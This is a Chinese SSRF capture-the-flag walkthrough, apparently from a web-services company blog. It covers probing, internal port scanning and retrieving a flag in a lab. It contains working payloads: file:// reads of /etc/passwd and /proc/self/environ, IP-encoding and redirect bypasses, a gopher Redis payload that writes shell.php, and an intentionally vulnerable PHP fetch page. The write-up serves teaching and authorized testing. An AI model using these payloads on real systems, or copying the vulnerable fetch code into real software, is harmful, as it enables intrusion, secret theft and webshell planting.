☰
SSRF靶场实战:从漏洞利用到内网探测拿flag全解析
2026/10/22 6:15:45 网站建设 项目流程

想拿SSRF这道题练手的同学,十有八九都会在“明明按教程打了,flag就是不出口”的状态里卡上几个小时。这个漏洞原理听着特别简单——服务器帮你去请求一个URL,结果你让它去请求了不该请求的地方——但真到了靶场里,各种协议限制、回显过滤、内网拓扑不明、端口猜不对,任何一个环节没对齐,整个利用链就断了。这篇文章我就以某模拟Web靶场为例,把SSRF从漏洞确认、payload构造、文件读取到内网探测和最终getflag的完整思路拆开讲一遍,所有操作都限定在隔离授权的实验环境里,不涉及任何真实目标,你可以放心照着复现。

这个题目适合两类人:一类是刚入门CTF的Web方向,想通过一道经典SSRF把所有基础利用手法串起来;另一类是做渗透测试的,想补一下自己在接口层挖掘和协议利用上的短板。我默认你会用Burp Suite抓包改包,至少知道GET和POST长什么样。如果你纯小白也没关系,我会把每一步的wireshark层级的看包思路也顺带讲清楚。

1. 动手之前,先把这道SSRF的题目结构看明白

1.1 漏洞为什么会出现在这个入口

这道题的外网服务是一个典型的“URL处理型”Web应用,核心功能是接收一个url参数,然后由服务端去发起请求并把结果返回给用户。听起来安全对吧?你传一个正常图片链接,服务端就帮你拉取图片;但这种“服务端替你请求”的设计,天然就是把双刃剑。

题目环境里存在两个服务节点:

  • 外部Web服务:带有一个fetch.php或者index.php之类的页面,接收URL参数,服务端请求后渲染结果。
  • 内网服务:部署在外部Web服务的同网络,但不对公网开放,只监听在内部地址的某个端口上。

flag就存放在内网服务某个路径下,或者通过内网服务可以进一步访问到的文件里。你没法直接从公网访问内网节点,但是外部Web服务可以——因为这台服务器本身就同时连接着公网和内网。

这就是SSRF的命门:你操控服务器去访问它自己所在内网的资源,拿到外部访问不到的敏感文件和内部服务信息。CTF里这道题的最终目标是flag,真实场景下可能就是云服务器的元数据、内网管理后台、Redis等攻击面。

1.2 常规利用路径的三段式

我把整个利用过程分成了三个阶段,后面所有操作都是为了串起这条链:

  1. 确认服务端确实发起了请求,而不是前端JS自己请求的——这一步决定有没有SSRF。
  2. 确认我们能读取哪些内容——比如file://协议读本地文件,或者http://访问内网端口。
  3. 把内网服务当跳板进一步扩展——最常见的就是扫描内网端口、打Redis、打内网HTTP服务,最终让flag暴露出来。

从这个角度看,SSRF的利用并不是一个点,而是一条链。我们后续的每一步,都是在给这条链条加节点。

1.3 环境复现建议

如果你手上没有现成靶场,建议你用一个Docker Compose搭一个简化版:一个外网PHP容器,一个内网Go或者Python容器,外网PHP容器里写一个接收URL参数的页面。下面是一个参考结构:

version: '3' services: web: image: php:7.4-apache ports: - "8080:80" volumes: - ./web:/var/www/html networks: - ssrf-lab inner: image: python:3-slim command: python3 -m http.server 8080 networks: - ssrf-lab volumes: - ./flag:/flag networks: ssrf-lab: driver: bridge

然后在Web容器中写一个简单的fetch页面:

<?php $url = $_GET['url']; echo file_get_contents($url); ?>

这个环境简陋了点,但足以把原理跑通。真实靶场会比这复杂,比如会过滤协议、限制IP、加DNS解析校验,这些后面会讲。

2. 情报收集:从抓包到确认SSRF入口

2.1 先看这个参数是怎么到达服务端的

打开Burp Suite,配置好浏览器代理,访问靶场首页。如果页面里有一个表单让你输入URL,或者一个接受?url=参数的功能点,先别急着打,观察完整的请求包。

一个典型的请求可能长这样:

GET /fetch.php?url=https://example.com/logo.png HTTP/1.1 Host: 192.168.1.100:8080 User-Agent: Mozilla/5.0

看到服务端接收一个url参数,就有戏。但如果只是个前端JS用fetch()去请求,那就不是SSRF,因为请求是浏览器发起的,并不是服务端。

怎么判断请求到底是服务端还是客户端发的?最简单的办法是:把请求里的URL改成一个自己可控的服务地址,看看访问日志里来请求的IP到底是你的公网IP还是目标服务器的IP。在靶场环境下,如果请求来自目标服务器本身,说明服务端帮你发出了这个请求。

另外要注意,有些题目会把参数名藏得很深,可能是image_url、callback、u、uri,甚至放在POST请求体里。先在Burp里把所有参数都看一遍,逐个替换成目标URL看响应差异。

2.2 使用探针验证是否存在SSRF

确认参数入口后,先用最基础的方式验证是否存在SSRF。构造一个你完全可控的URL,比如自己的一台VPS或者一个本地监听的端口,把url参数指向它:

GET /fetch.php?url=http://你的公网IP:8888/probe HTTP/1.1

如果你在VPS上用nc -lvnp 8888监听,结果收到了来自目标服务器的TCP连接,那就说明服务端确实发起了请求。这一步同时也是后续DNS Rebinding、内网探测的基础。

如果靶场没有出网权限,没法使用外部探针,那么你还可以利用响应时间差做盲测:构造一个会有明显延迟的URL,观察响应时间是否变长。

2.3 识别协议支持范围

SSRF的利用很大程度取决于服务端用的语言和库。PHP的file_get_contents()可以支持file://、http://、https://、php://等;Python的requests库则只支持HTTP/HTTPS。判断协议支持范围的办法很简单:逐个尝试不同协议,看响应结果差异。

比如尝试:

GET /fetch.php?url=file:///etc/passwd HTTP/1.1

如果返回了文件内容,那就非常好办了,SSRF直接升级为任意文件读取。如果返回报错或者空白,说明当前后端可能只支持HTTP协议,或者对协议做了限制。

在这个题目中,我们的目标是拿到内网服务的flag,所以第一步往往不是直接读文件,而是摸清楚内网网络的情况。

3. 核心利用:从端口探测到读取内网文件

3.1 扫描内网存活端口

拿到SSRF后,第一个想探明的就是内网是什么样。内网IP通常从几个常见网段开始猜——127.0.0.1是本机,10.x.x.x、172.16.x.x到172.31.x.x、192.168.x.x是私有网段。这道题环境里内网服务在另一个容器上,我们可以从Web容器自身所在网段试起。

实际操作中,我习惯先探测127.0.0.1的常见端口,比如80、8080、3306、6379、9200等,因为很多靶场会把管理服务挂在本地。然后扫内网网段,像172.17.0.2这类容器IP。

端口探测用HTTP协议就可以做,直接请求http://目标IP:端口/,根据响应内容区分端口开放还是关闭:

  • 正常响应:返回页面内容、报错信息、HTTP状态码,说明端口开放。
  • 连接超时:说明端口被过滤或无回应。
  • 拒绝连接:立即报错或空白,说明端口关闭。

为了提高效率,可以配合一个字典批量扫,把URL参数替换为不同的IP和端口组合。靶场下我一般建议先扫常见端口,不要全量扫64K端口,浪费时间。核心是找出Web服务的端口、文件服务端口、数据库端口和消息队列端口。

3.2 文件协议读取本地文件

如果端口探测没发现什么内网服务,或者你想先看看Web服务器自身的东西,可以试试file://协议。

GET /fetch.php?url=file:///etc/passwd HTTP/1.1

响应里如果出现root:x:0:0:root:/root:/bin/bash之类的内容,就说明能读文件。接下来可以尝试读取Web应用源码、配置文件等,从里面翻数据库密码、flag路径等敏感信息。

常见的尝试路径:

file:///etc/passwd file:///etc/hosts file:///proc/net/tcp file:///proc/self/environ file:///var/www/html/config.php

这个题重点不在读Web本机文件,但赌一下也不亏。很多时候flag会放在内网另一个节点,源码里的配置信息能帮你定位到那个节点。

3.3 内网HTTP服务的突破

当扫描发现内网存在一个开放着8080端口的服务时,直接用它作为下一步探测目标。比如发现内网某台机器开放了8080,可以先请求:

GET /fetch.php?url=http://172.17.0.2:8080/ HTTP/1.1

如果响应里返回目录列表,那更好,直接翻目录找flag。如果返回的是应用页面,就继续翻页面路由、看有什么接口可以利用。

很多靶场的内网服务本身就是个简单的文件服务器,flag通常就在根目录下。如果访问根目录返回的是空页面,可以尝试访问/flag、/flag.txt、/flag.php、/secret,甚至/robots.txt。

这道题的最终解法一般就是:探测到内网IP端口,访问http://内网IP:8080/flag得到flag。但如果你遇到的是更复杂的题,拿到端口后可能还需要结合gopher协议去打一些TCP层的东西。

3.4 协议绕过与Filter绕过

现实靶场中很少让你直接访问内网IP,最常见的过滤手段就是限制内网IP地址。这个时候就需要绕过了。我把自己试过的几个有效方法和典型场景列在下面,你按需选择:

需求绕过方式示例
绕过IP黑名单用十进制、十六进制表示IPhttp://2130706433:8080/
绕过IP黑名单用URL编码http://%31%37%32%2e%31%37%2e%30%2e%32:8080/
绕过域名解析限制用短域名重定向用一个跳转到内网的域名
绕过协议白名单先请求一个合法URL,利用302重定向服务器先请求http://公网重定向服务/?to=file:///etc/passwd
绕过点分十进制限制用IPv6映射http://[::ffff:172.17.0.2]:8080/
绕过限制用@符号http://合法域名@172.17.0.2:8080/

要注意,这些绕过技巧在不同的后端实现下效果不同。有的库会自动处理DNS解析,有的库不会。先看后端是什么语言写的,再决定用哪种方式。

4. 深入利用:当HTTP协议满足不了需求时

4.1 Gopher协议扩展攻击面

如果这个靶场的内网服务不是一个HTTP服务,而是像Redis、MySQL、Memcached这类TCP协议服务,那么HTTP协议就无能为力了。这时就要请出Gopher协议。

Gopher协议允许我们向TCP服务器发送任意的字节流。换句话说,只要你知道协议格式,就可以构造原始请求。Redis的未授权访问是CTF里经典的内网突破点,这里我简单演示一下思路框架,具体payload你需要在靶场里调试:

gopher://内网IP:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$2%0d%0a/tmp%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

这些URL编码其实是有规律的:每个*1代表数组长度,$8代表后面字符串长度,%0d%0a是CRLF。构造的时候一定要仔细数长度,错一个字节整个包就废了。

4.2 Gopher的编码调试技巧

Gopher最坑的地方是URL编码极易出错。我的调试方式是这样的:

  1. 先把原始TCP数据包在本地用nc或者Python脚本跑通,确认这台内网服务能接受这个数据包。
  2. 再把原始数据包转成URL编码,嵌入到Gopher URL中。
  3. 最后通过SSRF触发,再利用响应内容判断数据包是否被正确解释。

比如你在本地用Python构造Redis数据包:

import socket payload = b"*1\r\n$8\r\nflushall\r\n" s = socket.socket() s.connect(("127.0.0.1", 6379)) s.send(payload) print(s.recv(1024))

本地通了之后再转成URL编码格式,替换掉之前payload里对应的部分,就能有效减少编码错误。

4.3 利用响应二次确认内网服务指纹

有些时候你访问内网端口,服务端返回的可能是二进制响应,直接渲染到页面上会乱码。这种情况下先看HTTP响应头,比如Server头、Content-Type、状态码,就能判断出是什么服务。例如:

  • Server: Werkzeug/2.0.3 Python/3.9—— 大概率是Flask开发服务器
  • Server: nginx/1.18.0—— Nginx
  • X-Powered-By: Express—— Node.js
  • 响应是Redis错误信息-ERR unknown command—— Redis

判断出服务类型后,再沿着对应的攻击面深入。如果是一个HTTP服务,直接翻路由翻目录;如果是Redis,就走Gopher打写文件;如果是数据库,就要看协议是否允许带内请求。

5. 常见问题与排查技巧实录

5.1 请求发出去了但响应没有内容

这是最经常碰到的情况。看到外部探针收到了访问,但页面上是空白的,原因通常有三个:

  • 后端把响应内容丢弃了,只请求不回显。这种情况需要走盲打,靠时间差或者DNS请求判断结果。
  • 响应被截断了,比如目标返回了图片二进制数据,直接渲染时浏览器解析失败。
  • 目标端口是TCP层协议,不是HTTP,返回的原始数据无法直接展示在页面HTML里,看起来就像空白。

排查办法:先用Burp看原始响应报文,不要只看浏览器渲染后的页面。Burp的Raw标签页会显示服务端返回的所有字节,哪怕乱码也能看出端倪。如果Raw里什么也没有,再检查服务端是不是只做了请求不输出的操作。

5.2 内网IP怎么猜都不对

内网扫描第一步是确认本机网段。可以试试访问http://127.0.0.1/看是不是Web本身,然后读/proc/net/tcp、/etc/hosts获取本机的IP信息。

另一个思路是看file:///proc/net/route,里面记录了路由信息和网段,能直接告诉你内网IP范围。这一步在Docker环境里特别有用,因为容器默认网段往往就是172.17.0.x或172.18.0.x。

GET /fetch.php?url=file:///proc/net/route HTTP/1.1

响应里看到类似00000000、0001F0AA这样的十六进制地址,就可以反过来换算成IP。比如AA000002是10.0.0.2,0200000A是10.0.0.2的小端表示。这个换算在Docker网络里尤其重要。

5.3 Gopher发送后Redis没有任何反应

先看目标端口通不通,用http://内网IP:6379/访问一下,如果响应里有-ERR unknown command之类的内容,说明6379确实是Redis。然后检查Gopher的URL编码,最常见的问题:

  • 忘了对CRLF做URL编码,直接用了\r\n,但URL里没法表示控制字符。
  • 长度声明$N不对,Redis解析不了。
  • 在Gopher URL的_之后直接拼接了payload,但漏掉了_这个占位符,导致第一个字节变成下划线。

我习惯用一个小脚本辅助生成Gopher URL,构造时直接把每个\r\n替换成%0d%0a,同时统计每个字符串的长度,避免手数出错。

5.4 DNS Rebinding和重定向绕不过去

有些题目后端对URL做了严格的DNS解析校验,比如要求解析后的IP必须是公网IP。这种情况下可以利用DNS Rebinding:第一次解析返回一个公网IP,通过校验,第二次解析返回内网IP,请求实际发往内网。

做这类绕过需要一个可控域名的DNS服务,控制TTL尽量短,不断切换解析结果。不过很多靶场环境里并没有真正出网,用不了外部DNS,这时可以尝试http://localtest.me这类通配DNS,或者直接在Hosts头动手脚。

另一个更实用的办法是利用重定向:先请求一个公网URL,这个URL返回302跳转到内网地址。如果后端库跟随重定向,那么你的请求最终还是到了内网。前提是目标后端使用了跟随重定向的HTTP客户端,比如PHP的file_get_contents()默认会跟随HTTP 30x跳转。

GET /fetch.php?url=http://你的公网服务/redirect?to=http://172.17.0.2:8080/flag HTTP/1.1

你的公网服务返回:

HTTP/1.1 302 Found Location: http://172.17.0.2:8080/flag

后端如果跟着跳转,就能拿到flag内容。这个办法非常稳定,我遇到PHP题目时经常先试这一招,很多对IP的过滤因为只检查了第一次解析,根本没有防住。

5.5 常见的过滤绕过速查表

过滤条件绕过方法原理
禁止IP+端口用短域名跳转第一次解析是公网,跳转后请求内网
禁止协议file用http访问本地文件服务内网HTTP服务本身可以读文件
禁止内网IP段用IPv6转换地址服务端解析IPv6映射地址时可能绕过了匹配
禁止@符号一次编码两次编码解析顺序不同可能被解出@
禁止redirect用gopher直接构造TCP包绕过HTTP层

过滤绕过没有银弹,核心是理解后端代码的处理顺序:先解析域名?先检查协议?先拼接字符串?只有理顺顺序,才能找到插入点。

6. 从SSRF到flag的实操总结

按我自己的经验,一道SSRF靶场题的关键其实不在某个精妙的payload,而在链条的完整性。你会看到很多新手拿到SSRF后,跳过了情报收集,直接上一个Gopher大payload,结果失败之后完全不知道问题出在哪里。

这道题的正确打开方式应该是:

  1. 先确认入口,用外部探针或时间差确认服务端确实发起请求。
  2. 摸清本机所处的网络,读取路由文件或hosts文件确定内网网段。
  3. 逐个扫描内网端口,判断开放服务和应用指纹。
  4. 根据服务类型选择合适的利用方式:HTTP服务直接翻路径,Redis走Gopher,文件服务直接读文件。
  5. 绕过过滤条件,反复通过响应内容修正payload。

整个过程里,Burp的Repeater是你最好的朋友,每一次参数变动都能立刻看到响应差异。就算响应无回显也不要放弃,结合时间差、DNS请求、状态码变化,照样能给内网画像。

CFF的SSRF题目一般不会设置得太复杂,重点是考察你对“服务端请求”这个特性的敏感度。真实渗透中,SSRF通常不会直接给flag,但可以帮你拿到内网节点的访问权限,进而横向移动。掌握了这套思路,你在任何后端语言写的应用里遇到URL参数时,都会下意识判断一下是否存在SSRF的可能。

我个人碰过最讽刺的一次,是一个内部工单系统里有一个“URL审批预览”功能,管理员审核前需要先预览链接内容,结果这个预览接口就是一个典型的SSRF。通过这个口子,直接访问到了云平台内网元数据接口。所以当你以后看到“URL预览”“链接检测”“图片代理”这类功能时,务必多留个心眼。

最后再说一个实操习惯:每次构造payload前,先想一想服务端会怎么解析这个URL。这决定了你能不能在遵纪守法的前提下找到那条可控的路径。靶场里可以反复试错,真实环境里每一次请求都可能被日志记录,所以务必把所有实验都放在授权靶场和演练环境里完成。养成这个习惯,比记住十个payload重要得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询